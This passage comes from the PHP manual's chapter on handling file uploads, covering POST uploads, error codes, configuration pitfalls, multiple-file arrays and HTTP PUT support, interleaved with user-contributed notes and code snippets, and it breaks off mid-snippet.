The MAX_FILE_SIZE is applied to each file (not the total size of all files) and to all file inputs which appear after it.  This means that it can be overridden for different file fields.  You can also disable it by sending no number, or sending 0 (probably anything that == '0' if you think about it).

Example:

<form enctype="multipart/form-data" action="." method="POST">
  <!-- no maximum size for userfile0 -->
  <input name="userfile0" type="file" />

  <input type="hidden" name="MAX_FILE_SIZE" value="1000" />
  <!-- maximum size for userfile1 is 1000 bytes -->
  <input name="userfile1" type="file" />
  <!-- maximum size for userfile2 is 1000 bytes -->
  <input name="userfile2" type="file" />

  <input type="hidden" name="MAX_FILE_SIZE" value="2000" />
  <!-- maximum size for userfile3 is 2000 bytes -->
  <input name="userfile3" type="file" />

  <input type="hidden" name="MAX_FILE_SIZE" value="0" />
  <!-- no maximum size for userfile4 -->
  <input name="userfile4" type="file" />
</form>
mail at markuszeller dot com 10-Jan-2011 09:34
If you want to increase the upload size, it could make sense to allow it only to a specified directory and not in the php.ini for the whole domain or server. In my case it worked very well placing that into the .htaccess file like this:

php_value    upload_max_filesize    100M
php_value    post_max_size    101M

Remember, post_max_size must be bigger than the upload_max_filesize.
Mark 30-Sep-2010 01:12
$_FILES will be empty if a user attempts to upload a file greater than post_max_size in your php.ini

post_max_size should be >= upload_max_filesize in your php.ini.
michael 05-Dec-2009 06:19
Just a little note, when I was trying to get this to work on my webserver I got error telling me the permissions were wrong, I checked and couldn't see anything wrong then I thought to try "./" for my upload directory instead of the full address which was something like "home/username/public_html/uploaddir". This will save it in the same directory as your script for the program above thats something like

<?php
// In PHP versions earlier than 4.1.0, $HTTP_POST_FILES should be used instead
// of $_FILES.

$uploaddir = './';//<----This is all I changed
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

echo '<pre>';
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
    echo "File is valid, and was successfully uploaded.\n";
} else {
    echo "Possible file upload attack!\n";
}

echo 'Here is some more debugging info:';
print_r($_FILES);

print "</pre>";

?>

I know something trivial but when your new to this, those kind of things elude you.
daevid at daevid dot com 11-Jun-2009 11:35
I think the way an array of attachments works is kind of cumbersome. Usually the PHP guys are right on the money, but this is just counter-intuitive. It should have been more like:

Array
(
    [0] => Array
        (
            [name] => facepalm.jpg
            [type] => image/jpeg
            [tmp_name] => /tmp/phpn3FmFr
            [error] => 0
            [size] => 15476
        )

    [1] => Array
        (
            [name] =>
            [type] =>
            [tmp_name] =>
            [error] => 4
            [size] =>
        )
)

and not this
Array
(
    [name] => Array
        (
            [0] => facepalm.jpg
            [1] =>
        )

    [type] => Array
        (
            [0] => image/jpeg
            [1] =>
        )

    [tmp_name] => Array
        (
            [0] => /tmp/phpn3FmFr
            [1] =>
        )

    [error] => Array
        (
            [0] => 0
            [1] => 4
        )

    [size] => Array
        (
            [0] => 15476
            [1] => 0
        )
)

Anyways, here is a fuller example than the sparce one in the documentation above:

<?php
foreach ($_FILES["attachment"]["error"] as $key => $error)
{
       $tmp_name = $_FILES["attachment"]["tmp_name"][$key];
       if (!$tmp_name) continue;

       $name = basename($_FILES["attachment"]["name"][$key]);

    if ($error == UPLOAD_ERR_OK)
    {
        if ( move_uploaded_file($tmp_name, "/tmp/".$name) )
            $uploaded_array[] .= "Uploaded file '".$name."'.<br/>\n";
        else
            $errormsg .= "Could not move uploaded file '".$tmp_name."' to '".$name."'<br/>\n";
    }
    else $errormsg .= "Upload error. [".$error."] on file '".$name."'<br/>\n";
}
?>
eslindsey at gmail dot com 30-Mar-2009 08:09
Also note that since MAX_FILE_SIZE hidden field is supplied by the browser doing the submitting, it is easily overridden from the clients' side.  You should always perform your own examination and error checking of the file after it reaches you, instead of relying on information submitted by the client.  This includes checks for file size (always check the length of the actual data versus the reported file size) as well as file type (the MIME type submitted by the browser can be inaccurate at best, and intentionally set to an incorrect value at worst).
claude dot pache at gmail dot com 19-Mar-2009 06:26
Note that the MAX_FILE_SIZE hidden field is only used by the PHP script which receives the request, as an instruction to reject files larger than the given bound. This field has no significance for the browser, it does not provide a client-side check of the file-size, and it has nothing to do with web standards or browser features.


Error Messages Explained

PHP returns an appropriate error code along with the file array. The error code can be found in the error segment of the file array that is created during the file upload by PHP. In other words, the error might be found in $_FILES['userfile']['error'].

UPLOAD_ERR_OK

Value: 0; There is no error, the file uploaded with success.

UPLOAD_ERR_INI_SIZE

Value: 1; The uploaded file exceeds the upload_max_filesize directive in php.ini.

UPLOAD_ERR_FORM_SIZE

Value: 2; The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.

UPLOAD_ERR_PARTIAL

Value: 3; The uploaded file was only partially uploaded.

UPLOAD_ERR_NO_FILE

Value: 4; No file was uploaded.

UPLOAD_ERR_NO_TMP_DIR

Value: 6; Missing a temporary folder. Introduced in PHP 5.0.3.

UPLOAD_ERR_CANT_WRITE

Value: 7; Failed to write file to disk. Introduced in PHP 5.1.0.

UPLOAD_ERR_EXTENSION

Value: 8; A PHP extension stopped the file upload. PHP does not provide a way to ascertain which extension caused the file upload to stop; examining the list of loaded extensions with phpinfo() may help. Introduced in PHP 5.2.0.

User Contributed Notes

rlerne at gmail dot com 27-Sep-2014 06:11
This updates "adam at gotlinux dot us" above and makes it version aware, and also adds newer constants to the array.

The reason we want to check the version is that the constants are not defined in earlier versions, and they appear later in the array. They would effectively overwrite the "0" index (no error) with an error message when the file actually uploaded fine.

It also drops the constant's value (0,1,2, etc) for the errors, in the likely event that they are changed later (the code should still work fine).

<?php

$upload_errors = array(
    0                        => "There is no error, the file uploaded with success"
    ,UPLOAD_ERR_INI_SIZE    => "The uploaded file exceeds the upload_max_filesize directive in php.ini"
    ,UPLOAD_ERR_FORM_SIZE    => "The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form"
    ,UPLOAD_ERR_PARTIAL        => "The uploaded file was only partially uploaded"
    ,UPLOAD_ERR_NO_FILE        => "No file was uploaded"
);

if (version_compare(PHP_VERSION, '5.0.3') >= 0)
    $upload_errors[UPLOAD_ERR_NO_TMP_DIR] = "Missing a temporary folder";

if (version_compare(PHP_VERSION, '5.1.0') >= 0)
    $upload_errors[UPLOAD_ERR_CANT_WRITE] = "Failed to write to disk";

if (version_compare(PHP_VERSION, '5.2.0') >= 0)
    $upload_errors[UPLOAD_ERR_EXTENSION] = "File upload stopped by extension";
?>
Viktor 17-Sep-2014 06:14
Update to Adams old comment.

This is probably useful to someone.

<?php

$phpFileUploadErrors = array(
    0 => 'There is no error, the file uploaded with success',
    1 => 'The uploaded file exceeds the upload_max_filesize directive in php.ini',
    2 => 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form',
    3 => 'The uploaded file was only partially uploaded',
    4 => 'No file was uploaded',
    6 => 'Missing a temporary folder',
    7 => 'Failed to write file to disk.',
    8 => 'A PHP extension stopped the file upload.',
);
Jeff Miner mrjminer AT gmail DOT com 10-Aug-2010 10:32
One thing that is annoying is that the way these constant values are handled requires processing no error with the equality, which wastes a little bit of space.  Even though "no error" is 0, which typically evaluates to "false" in an if statement, it will always evaluate to true in this context.

So, instead of this:
-----
<?php
if($_FILES['userfile']['error']) {
  // handle the error
} else {
  // process
}
?>
-----
You have to do this:
-----
<?php
if($_FILES['userfile']['error']==0) {
  // process
} else {
  // handle the error
}
?>
-----
Also, ctype_digit fails, but is_int works.  If you're wondering... no, it doesn't make any sense.

To Schoschie:

You ask the question:  Why make stuff complicated when you can make it easy?  I ask the same question since the version of the code you / Anonymous / Thalent (per danbrown) have posted is unnecessary overhead and would result in a function call, as well as a potentially lengthy switch statement.  In a loop, that would be deadly... try this instead:

-----
<?php
$error_types = array(
1=>'The uploaded file exceeds the upload_max_filesize directive in php.ini.',
'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.',
'The uploaded file was only partially uploaded.',
'No file was uploaded.',
6=>'Missing a temporary folder.',
'Failed to write file to disk.',
'A PHP extension stopped the file upload.'
);

// Outside a loop...
if($_FILES['userfile']['error']==0) {
  // process
} else {
  $error_message = $error_types[$_FILES['userfile']['error']];
  // do whatever with the error message
}

// In a loop...
for($x=0,$y=count($_FILES['userfile']['error']);$x<$y;++$x) {
  if($_FILES['userfile']['error'][$x]==0) {
    // process
  } else {
    $error_message = $error_types[$_FILES['userfile']['error'][$x]];
    // Do whatever with the error message
  }
}

// When you're done... if you aren't doing all of this in a function that's about to end / complete all the processing and want to reclaim the memory
unset($error_types);
?>
Tom 09-Aug-2010 12:06
Note: something that might surprise you, PHP also provides a value in the $_FILES array, if the input element has no value at all, stating an error UPLOAD_ERR_NO_FILE.

So UPLOAD_ERR_NO_FILE is not an error, but a note that the input element just had no value. Thus you can't rely on the $_FILES array to see if a file was provided. Instead you have to walk the array and check every single damn entry - which can be quite difficult since the values may be nested if you use input elements named like "foo[bar][bla]".

Seems like PHP just introduced you to yet another common pitfall.
jille at quis dot cx 24-May-2009 05:12
UPLOAD_ERR_PARTIAL is given when the mime boundary is not found after the file data. A possibly cause for this is that the upload was cancelled by the user (pressed ESC, etc).
Anonymous 05-Mar-2009 03:32
[EDIT BY danbrown AT php DOT net: This code is a fixed version of a note originally submitted by (Thalent, Michiel Thalen) on 04-Mar-2009.]

This is a handy exception to use when handling upload errors:

<?php

class UploadException extends Exception
{
    public function __construct($code) {
        $message = $this->codeToMessage($code);
        parent::__construct($message, $code);
    }

    private function codeToMessage($code)
    {
        switch ($code) {
            case UPLOAD_ERR_INI_SIZE:
                $message = "The uploaded file exceeds the upload_max_filesize directive in php.ini";
                break;
            case UPLOAD_ERR_FORM_SIZE:
                $message = "The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form";
                break;
            case UPLOAD_ERR_PARTIAL:
                $message = "The uploaded file was only partially uploaded";
                break;
            case UPLOAD_ERR_NO_FILE:
                $message = "No file was uploaded";
                break;
            case UPLOAD_ERR_NO_TMP_DIR:
                $message = "Missing a temporary folder";
                break;
            case UPLOAD_ERR_CANT_WRITE:
                $message = "Failed to write file to disk";
                break;
            case UPLOAD_ERR_EXTENSION:
                $message = "File upload stopped by extension";
                break;

            default:
                $message = "Unknown upload error";
                break;
        }
        return $message;
    }
}

// Use
 if ($_FILES['file']['error'] === UPLOAD_ERR_OK) {
//uploading successfully done
} else {
throw new UploadException($_FILES['file']['error']);
}
?>
info at foto50 dot com 03-Jul-2007 11:03
For those reading this manual in german (and/or probably some other languages) and you miss error numbers listed here, have a look to the english version of this page ;)
belowtherim2000 at yahoo dot com 21-Jun-2007 03:25
I've been playing around with the file size limits and with respect to the post_max_size setting, there appears to be a hard limit of 2047M.  Any number that you specify above that results in a failed upload without any informative error describing what went wrong.  This happens regardless of how small the file you're uploading may be.  On error, my page attempts to output the name of the original file.  But what I discovered is that this original file name, which I maintained in a local variable, actually gets corrupted.  Even my attempt to output the error code in $_FILES['uploadedfiles']['error'] returns an empty string/value.

Hopefully, this tidbit will save someone else some grief.
svenr at selfhtml dot org 24-Apr-2007 12:15
Clarification on the MAX_FILE_SIZE hidden form field and the UPLOAD_ERR_FORM_SIZE error code:

PHP has the somewhat strange feature of checking multiple "maximum file sizes".

The two widely known limits are the php.ini settings "post_max_size" and "upload_max_size", which in combination impose a hard limit on the maximum amount of data that can be received.

In addition to this PHP somehow got implemented a soft limit feature. It checks the existance of a form field names "max_file_size" (upper case is also OK), which should contain an integer with the maximum number of bytes allowed. If the uploaded file is bigger than the integer in this field, PHP disallows this upload and presents an error code in the $_FILES-Array.

The PHP documentation also makes (or made - see bug #40387 - http://bugs.php.net/bug.php?id=40387) vague references to "allows browsers to check the file size before uploading". This, however, is not true and has never been. Up til today there has never been a RFC proposing the usage of such named form field, nor has there been a browser actually checking its existance or content, or preventing anything. The PHP documentation implies that a browser may alert the user that his upload is too big - this is simply wrong.

Please note that using this PHP feature is not a good idea. A form field can easily be changed by the client. If you have to check the size of a file, do it conventionally within your script, using a script-defined integer, not an arbitrary number you got from the HTTP client (which always must be mistrusted from a security standpoint).
web att lapas dott id dott lv 23-Feb-2007 02:49
1. And what about multiple file upload ? - If there is an UPLOAD_ERR_INI_SIZE error with multiple files - we can`t detect it normaly ? ...because that we have an array, but this error returns null and can`t use foreach. So, by having a multiple upload, we can`t normaly inform user about that.. we can just detect, that sizeof($_FILES["file"]["error"]) == 0 , but we can`t actualy return an error code. The max_file_size also is not an exit, becouse it refers on each file seperatly, but upload_max_filesize directive in php.ini refers to all files together. So, for example, if upload_max_filesize=8Mb , max_file_size = 7Mb and one of my files is 6.5Mb and other is 5Mb, it exeeds the upload_max_filesize - cant return an error, becouse we don`t know where to get that error.
Unfortunately we cannot get the file sizes on client side, even AJAX normaly can`t do that.

2. If in file field we paste something, like, D:\whatever , then there also isn`t an error to return in spite of that no such file at all.
stephen at poppymedia dot co dot uk 27-Sep-2005 12:05
if post is greater than post_max_size set in php.ini

$_FILES and $_POST will return empty
adam at gotlinux dot us 27-May-2005 04:28
This is probably useful to someone.

<?php
array(
        0=>"There is no error, the file uploaded with success",
        1=>"The uploaded file exceeds the upload_max_filesize directive in php.ini",
        2=>"The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form"
        3=>"The uploaded file was only partially uploaded",
        4=>"No file was uploaded",
        6=>"Missing a temporary folder"
);
?>
sysadmin at cs dot fit dot edu 16-Feb-2005 04:13
I noticed that on PHP-4.3.2 that $_FILES can also not be set if the file uploaded exceeds the limits set by upload-max-filesize in the php.ini, rather than setting error $_FILES["file"]["error"]
krissv at ifi.uio.no 28-Jan-2005 01:11
When $_FILES etc is empty like Dub spencer says in the note at the top and the error is not set, that might be because the form enctype isnt sat correctly. then nothing more than maybe a http server error happens.

enctype="multipart/form-data" works fine
Dub Spencer 26-Nov-2004 03:56
Upload doesnt work, and no error?

actually, both $_FILES and $_REQUEST in the posted to script are empty?

just see, if  "post_max_size" is lower than the data you want to load.

in the apache error log, there will be an entry like "Invalid method in request". and in the access log, there will be two requests: one for the POST, and another that starts with all "----" and produces a 501.
tyler at fishmas dot org 04-Nov-2004 04:08
In regards to the dud filename being sent, a very simple way to check for this is to check the file size as well as the file name.  For example, to check the file size simple use the size attribute in your file info array:

<?php
if($_FILES["file_id"]["size"]  == 0)
{
         // ...PROCESS ERROR
}
?>


Common Pitfalls

The MAX_FILE_SIZE item cannot specify a file size greater than the file size that has been set in the upload_max_filesize in the php.ini file. The default is 2 megabytes.

If a memory limit is enabled, a larger memory_limit may be needed. Make sure you set memory_limit large enough.

If max_execution_time is set too small, script execution may be exceeded by the value. Make sure you set max_execution_time large enough.

Note: max_execution_time only affects the execution time of the script itself. Any time spent on activity that happens outside the execution of the script such as system calls using system(), the sleep() function, database queries, time taken by the file upload process, etc. is not included when determining the maximum time that the script has been running.

Warning

max_input_time sets the maximum time, in seconds, the script is allowed to receive input; this includes file uploads. For large or multiple files, or users on slower connections, the default of 60 seconds may be exceeded.

If post_max_size is set too small, large files cannot be uploaded. Make sure you set post_max_size large enough.

Since PHP 5.2.12, the max_file_uploads configuration setting controls the maximum number of files that can uploaded in one request. If more files are uploaded than the limit, then $_FILES will stop processing files once the limit is reached. For example, if max_file_uploads is set to 10, then $_FILES will never contain more than 10 items.

Not validating which file you operate on may mean that users can access sensitive information in other directories.

Please note that the CERN httpd seems to strip off everything starting at the first whitespace in the content-type mime header it gets from the client. As long as this is the case, CERN httpd will not support the file upload feature.

Due to the large amount of directory listing styles we cannot guarantee that files with exotic names (like containing spaces) are handled properly.

A developer may not mix normal input fields and file upload fields in the same form variable (by using an input name like foo[]).

User Contributed Notes

Nirmal Natarajan 12-Dec-2009 05:23
If using IIS 7.0 or above, the Request Filtering is enabled by default and the max allowed content length is set to 30 MB.

One must change this value if they want to allow file uploads of more than 30 MB.

Sample web.config entry:

<configuration>
    </system.webServer>
        <security>
            <requestFiltering>
                <requestLimits maxAllowedContentLength="314572800"/>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>

The above setting will allow 300 MB of data to be sent as a request. Hope this helps someone.
dg at artegic dot de 07-Dec-2009 08:57
In case of non-deterministic occurence of the UPLOAD_ERR_PARTIAL error:  The HTTPD (e.g. Apache) should respond with a 'Accept-Ranges: none' header field.
anders jenbo pc dk 02-Oct-2007 12:22
A responce to admin at creationfarm dot com, Mac OS X and Windows running on a NTFS disk also uses a multi stream file system. Still only the data stream in transfared on http upload. It is preferable to pack Mac OS X files in .dmg files rathere then zip but the avarage user will find zip much easir and they are supported on more platforms.
oliver dot schmidt at drehsinn dot de 09-Dec-2006 07:02
If you want to use open_basedir for securing your server (which is highly recommended!!!) remember to add your tmp dir to the open_basedir value in php.ini.

Example: open_basedir = <your htdocs root, etc...>:/tmp

(Tested on gentoo Linux, Apache 2.2, PHP 5.1.6)
tjaart at siam-data-services dot com 22-May-2005 10:27
Took me a while to figure this one out...

I think this is actually a header problem, but it only
happens when doing a file upload.

If you attept a header("location:http://...) redirect after
processing a $_POST[''] from a form doing a file upload
(i.e. having enctype="multipart/form-data"), the redirect
doesn't work in IE if you don't have a space between
location: & http, i.e.
header("location:http://...)  vs
header("location: http://...)

===================================
<?php
if ($_POST['submit']=='Upload') {
    // Process File and the redirect...
    header("location: http://"..."/somewhere.php");
    exit;
}
?>
<html><head></head><body>
<form enctype="multipart/form-data" action="upload.php" method="POST">
    <input type="hidden" name="MAX_FILE_SIZE" value="20000">
    Your file: <input name="filename" type="file">
    <input name="submit" type="submit" value="Upload">
</form>
</body></html>
===================================

This only happens if all of the following are true:
header("location:http://...) with no space
Form being processed has enctype="multipart/form-data"
Browser=IE

To fix the problem, simply add the space.

Hope this helps someone else.
amalcon _a_t_ eudoramail _d_o_t_ com 11-Aug-2004 11:35
Note that, when you want to upload VERY large files (or you want to set the limiters VERY high for test purposes), all of the upload file size limiters are stored in signed 32-bit ints.  This means that setting a limit higher than about 2.1 GB will result in PHP seeing a large negative number.  I have not found any way around this.
morganaj at coleggwent dot ac dot uk 21-Oct-2003 06:53
Here is another that may make your upload fall over.  If you are using Squid or similar proxy server make sure that this is not limiting the size of the HTTP headers. This took me weeks to figure out!
tomcashman at unitekgroup dot com 09-Jun-2003 03:59
For apache, also check the LimitRequestBody directive.
If you're running a Red Hat install, this might be set in /etc/httpd/conf.d/php.conf.
By default, mine was set to 512 KB.
sebastian at drozdz dot ch 28-Apr-2003 12:59
It's important that the variable 'open_basedir' in php.ini isn't  set to a directory that doesn't not includes tempupload directory
admin at creationfarm dot com 04-Feb-2003 05:16
The macintosh OS (not sure about OSx) uses a dual forked file system, unlike the rest of the world ;-). Every macintosh file has a data fork and a resource fork. When a dual forked file hits a single forked file system, something has to go, and it is the resource fork. This was recognized as a problem (bad idea to begin with) and apple started recomending that developers avoid sticking vital file info in the resource fork portion of a file, but some files are still very sensitive to this. The main ones to watch out for are macintosh font files and executables, once the resource fork is gone from a mac font or an executable it is useless. To protect the files they should be stuffed or zipped prior to upload to protect the resource fork.

Most mac ftp clients (like fetch) allow files to be uploaded in Macbinhex, which will also protect the resource fork when transfering files via ftp. I have not seen this equivilent in any mac browser (but I haven't done too much digging either).

FYI, apple does have an old utility called ResEdit that lets you manipulate the resource fork portion of a file.


Uploading multiple files

Multiple files can be uploaded using different name for input.

It is also possible to upload multiple files simultaneously and have the information organized automatically in arrays for you. To do so, you need to use the same array submission syntax in the HTML form as you do with multiple selects and checkboxes:

Example #1 Uploading multiple files

<form action="file-upload.php" method="post" enctype="multipart/form-data">
  Send these files:<br />
  <input name="userfile[]" type="file" /><br />
  <input name="userfile[]" type="file" /><br />
  <input type="submit" value="Send files" />
</form>

When the above form is submitted, the arrays $_FILES['userfile'], $_FILES['userfile']['name'], and $_FILES['userfile']['size'] will be initialized (as well as in $HTTP_POST_FILES for PHP versions prior to 4.1.0). When register_globals is on, globals for uploaded files are also initialized. Each of these will be a numerically indexed array of the appropriate values for the submitted files.

For instance, assume that the filenames /home/test/review.html and /home/test/xwp.out are submitted. In this case, $_FILES['userfile']['name'][0] would contain the value review.html, and $_FILES['userfile']['name'][1] would contain the value xwp.out. Similarly, $_FILES['userfile']['size'][0] would contain review.html's file size, and so forth.

$_FILES['userfile']['name'][0], $_FILES['userfile']['tmp_name'][0], $_FILES['userfile']['size'][0], and $_FILES['userfile']['type'][0] are also set.

Warning

Since PHP 5.2.12, the max_file_uploads configuration setting acts as a limit on the number of files that can be uploaded in one request. You will need to ensure that your form does not try to upload more files in one request than this limit.

User Contributed Notes

javad dot geek at gmail dot com 07-Feb-2014 11:14
$countarray = count($_FILES['uploadfile']['name']);
                $newarray = array();
                for($i=0;$i<$countarray;$i++){
                    $newarray[$i]['name']=$_FILES['uploadfile']['name'][$i];
                    $newarray[$i]['type']=$_FILES['uploadfile']['type'][$i];
                    $newarray[$i]['tmp_name']=$_FILES['uploadfile']['tmp_name'][$i];
                    $newarray[$i]['error']=$_FILES['uploadfile']['error'][$i];
                    $newarray[$i]['size']=$_FILES['uploadfile']['size'][$i];
                }
wizzard351 at yahoo dot com 28-Jan-2014 03:12
This is also needed for <input type=file multiple> elements.

So, if you have an input element like this:
<input type="file" multiple="multiple" name="foobar" />
This should be written as
<input type="file" multiple="multiple" name="foobar[]" />
else you'll only be able to get one of the files.
ohcnim at hotmail dot com 17-Aug-2013 08:18
by simply naming differently each file input you'll get easily accesible arrays from $_FILES, in the form $_FILES['input_name']['file_attribute'].  For example:

$_FILES['input_name1']['name']...['input_name1']['size']
$_FILES['input_name2']['name']...['input_name2']['size']
$_FILES['input_nameX']['name']...['input_nameX']['size']
timspeelman at live dot nl 19-Nov-2011 12:48
The cleanest way to rearrange the $_FILES

<?php
function rearrange( $arr ){
    foreach( $arr as $key => $all ){
        foreach( $all as $i => $val ){
            $new[$i][$key] = $val;
        }
    }
    return $new;
}
?>
contato at dgmike dot com dot br 19-Jul-2011 08:33
I prefer something like this!

<?php
public function arrayImages ( &$file_post )
{
    if( empty( $file_post ) ) {
        return $file_post;
    }
    if( 'array'!==gettype($file_post['name']) ) {
        return $file_post;
    }
    $keys = array_keys($file_post['name']);
    $file_array = array();
    foreach ($keys as $key) {
       foreach ($file_post as $res=>$item) {
           $file_array[$key][$res] = $item[$key];
       }
   }
   return $file_array;
}
?>
Corey Ballou 25-Mar-2010 10:10
Here is a function to fix the indices of a multi-dimensional for easier parsing when dealing with file uploads.  It takes a single $_FILES field array as a parameter and separates each individual uploaded file by numeric key.  This allows for iterating like:

<?php
fixFilesArray($_FILES['array_of_files']);
foreach ($_FILES['array_of_files'] as $position => $file) {
    // should output array with indices name, type, tmp_name, error, size
    var_dump($file);
}
?>

Here's the code:

<?php
/**
 * Fixes the odd indexing of multiple file uploads from the format:
 *
 * $_FILES['field']['key']['index']
 *
 * To the more standard and appropriate:
 *
 * $_FILES['field']['index']['key']
 *
 * @param array $files
 * @author Corey Ballou
 * @link http://www.jqueryin.com
 */
function fixFilesArray(&$files)
{
    $names = array( 'name' => 1, 'type' => 1, 'tmp_name' => 1, 'error' => 1, 'size' => 1);

    foreach ($files as $key => $part) {
        // only deal with valid keys and multiple files
        $key = (string) $key;
        if (isset($names[$key]) && is_array($part)) {
            foreach ($part as $position => $value) {
                $files[$position][$key] = $value;
            }
            // remove old key reference
            unset($files[$key]);
        }
    }
}
?>
christiaan at baartse dot nl 23-Feb-2010 05:13
After trying dozens of ways that are supposed to fix the wonkyness of the $_FILES array I didn't find any that could work with a input name like: userfile[christiaan][][][is][gaaf][]

So I came up with this class
<?php
/**
 * A class that takes the pain out of the $_FILES array
 * @author Christiaan Baartse <christiaan@baartse.nl>
 */
class UploadedFiles extends ArrayObject
{
    public function current() {
        return $this->_normalize(parent::current());
    }

    public function offsetGet($offset) {
        return $this->_normalize(parent::offsetGet($offset));
    }

    protected function _normalize($entry) {
        if(isset($entry['name']) && is_array($entry['name'])) {
            $files = array();
            foreach($entry['name'] as $k => $name) {
                $files[$k] = array(
                    'name' => $name,
                    'tmp_name' => $entry['tmp_name'][$k],
                    'size' => $entry['size'][$k],
                    'type' => $entry['type'][$k],
                    'error' => $entry['error'][$k]
                );
            }
            return new self($files);
        }
        return $entry;
    }
}
?>

This allows you to access a file uploaded using the following inputtype
<input type="file" name="userfile[christiaan][][][is][gaaf][]" />
like
<?php
$files = new UploadedFiles($_FILES);
var_dump($files['userfile']['christiaan'][0][0]['is']['gaaf'][0]);
// or
foreach($files['userfile']['christiaan'][0][0]['is']['gaaf'] as $file) {
    var_dump($file);
}
?>
jess at semlabs dot co dot uk 03-Mar-2009 09:32
If you try and upload files with multi-dimensional names like this:

<input type="file" name="submission[screenshot]" />
<input type="file" name="other[dem][][img][]" />

You will get an unexpected format like this:

<?php
array(
    'submission' => array
        (
            'name' => array( 'screenshot' => 'monster_wallpaper.jpg' ),
            'type' => array( 'screenshot' => 'image/jpeg' ),
            'tmp_name' => array( 'screenshot' => '/tmp/php48lX2Y' ),
            'error' => array( 'screenshot' => 0 ),
            'size' => array( 'screenshot' => 223262 ),
        ),
....
?>

You can use the following function to re-format the array recursively in the usual format:

<?php
function format_files_array( $files, $name = null, &$new = false, $path = false ){
    $names = array( 'name' => 'name', 'type' => 'type', 'tmp_name' => 'tmp_name', 'error' => 'error', 'size' => 'size' );

    foreach( $files as $key => &$part )
    {
        $key = ( string ) $key;
        if( in_array( $key, $names ) )
            $name = $key;
        if( !in_array( $key, $names ) )
            $path[] = $key;
        if( is_array( $part ) )
            $part = format_files_array( $part, $name, $new, $path );
        elseif( !is_array( $part ) )
        {
            $current =& $new;
            foreach( $path as $p )
                $current =& $current[$p];
            $current[$name] = $part;
            unset( $path );
            $name = null;
        }
    }

    return $new;
}
?>
hotmail.com[at]notdefix 27-Sep-2007 04:47
With multiple file uploads

post_max_size: the total amount of data posted by the client (all files, and all other form field)

upload_max_filesize: the maximum size of 1 single file. (just like <input type="hidden" name="MAX_FILE_SIZE" value="..."/>)

so, with the directives:
 post_max_size 25M
 upload_max_filesize 2M

you can send 12 files of up to 2 MB and use up to 1 MB for your additional form-values.

As long as you read only a single copy of 1 file into memory, the memory_limit directive can be held reasonable small as well.
phpuser at gmail dot com 26-May-2005 05:09
When uploading multiple files, the $_FILES variable is created in the form:

Array
(
    [name] => Array
        (
            [0] => foo.txt
            [1] => bar.txt
        )

    [type] => Array
        (
            [0] => text/plain
            [1] => text/plain
        )

    [tmp_name] => Array
        (
            [0] => /tmp/phpYzdqkD
            [1] => /tmp/phpeEwEWG
        )

    [error] => Array
        (
            [0] => 0
            [1] => 0
        )

    [size] => Array
        (
            [0] => 123
            [1] => 456
        )
)

I found it made for a little cleaner code if I had the uploaded files array in the form

Array
(
    [0] => Array
        (
            [name] => foo.txt
            [type] => text/plain
            [tmp_name] => /tmp/phpYzdqkD
            [error] => 0
            [size] => 123
        )

    [1] => Array
        (
            [name] => bar.txt
            [type] => text/plain
            [tmp_name] => /tmp/phpeEwEWG
            [error] => 0
            [size] => 456
        )
)

I wrote a quick function that would convert the $_FILES array to the cleaner (IMHO) array.

<?php

function reArrayFiles(&$file_post) {

    $file_ary = array();
    $file_count = count($file_post['name']);
    $file_keys = array_keys($file_post);

    for ($i=0; $i<$file_count; $i++) {
        foreach ($file_keys as $key) {
            $file_ary[$i][$key] = $file_post[$key][$i];
        }
    }

    return $file_ary;
}

?>

Now I can do the following:

<?php

if ($_FILES['upload']) {
    $file_ary = reArrayFiles($_FILES['ufile']);

    foreach ($file_ary as $file) {
        print 'File Name: ' . $file['name'];
        print 'File Type: ' . $file['type'];
        print 'File Size: ' . $file['size'];
    }
}

?>


PUT method support

PHP provides support for the HTTP PUT method used by some clients to store files on a server. PUT requests are much simpler than a file upload using POST requests and they look something like this:

PUT /path/filename.html HTTP/1.1

This would normally mean that the remote client would like to save the content that follows as: /path/filename.html in your web tree. It is obviously not a good idea for Apache or PHP to automatically let everybody overwrite any files in your web tree. So, to handle such a request you have to first tell your web server that you want a certain PHP script to handle the request. In Apache you do this with the Script directive. It can be placed almost anywhere in your Apache configuration file. A common place is inside a <Directory> block or perhaps inside a <VirtualHost> block. A line like this would do the trick:

Script PUT /put.php

This tells Apache to send all PUT requests for URIs that match the context in which you put this line to the put.php script. This assumes, of course, that you have PHP enabled for the .php extension and PHP is active. The destination resource for all PUT requests to this script has to be the script itself, not a filename the uploaded file should have.

With PHP you would then do something like the following in your put.php. This would copy the contents of the uploaded file to the file myputfile.ext on the server. You would probably want to perform some checks and/or authenticate the user before performing this file copy.

Example #1 Saving HTTP PUT files

<?php
/* PUT data comes in on the stdin stream */
$putdata = fopen("php://input", "r");

/* Open a file for writing */
$fp = fopen("myputfile.ext", "w");

/* Read the data 1 KB at a time
   and write to the file */
while ($data = fread($putdata, 1024))
  fwrite($fp, $data);

/* Close the streams */
fclose($fp);
fclose($putdata);
?>

User Contributed Notes

San 20-Mar-2014 06:33
Instead of using fread fwrite to save uploaded content to a file.
stream_copy_to_stream is much cleaner.
kicaj 29-Nov-2013 05:46
to create variable such as $_GET, $_POST use
that solution

<?php
    $_SERVER['REQUEST_METHOD']==="PUT" ? parse_str(file_get_contents('php://input', false , null, -1 , $_SERVER['CONTENT_LENGTH'] ), $_PUT): $_PUT=array();
?>
micronix at gmx dot net 11-Sep-2010 04:43
Hello PHP World After many Hours of worryness :=)

I have found the Solution for Resume or Pause Uploads
In this Code Snippet it is the Server Side not Client on any Desktop Programm you must use byte ranges to calculate the uploaded bytes and missing of total bytes.

Here the PHP Code

<?php
$CHUNK = 8192;

        try {
            if (!($putData = fopen("php://input", "r")))
                throw new Exception("Can't get PUT data.");

            // now the params can be used like any other variable
            // see below after input has finished

            $tot_write = 0;
            $tmpFileName = "/var/dev/tmp/PUT_FILE";
            // Create a temp file
            if (!is_file($tmpFileName)) {
                fclose(fopen($tmpFileName, "x")); //create the file and close it
                // Open the file for writing
                if (!($fp = fopen($tmpFileName, "w")))
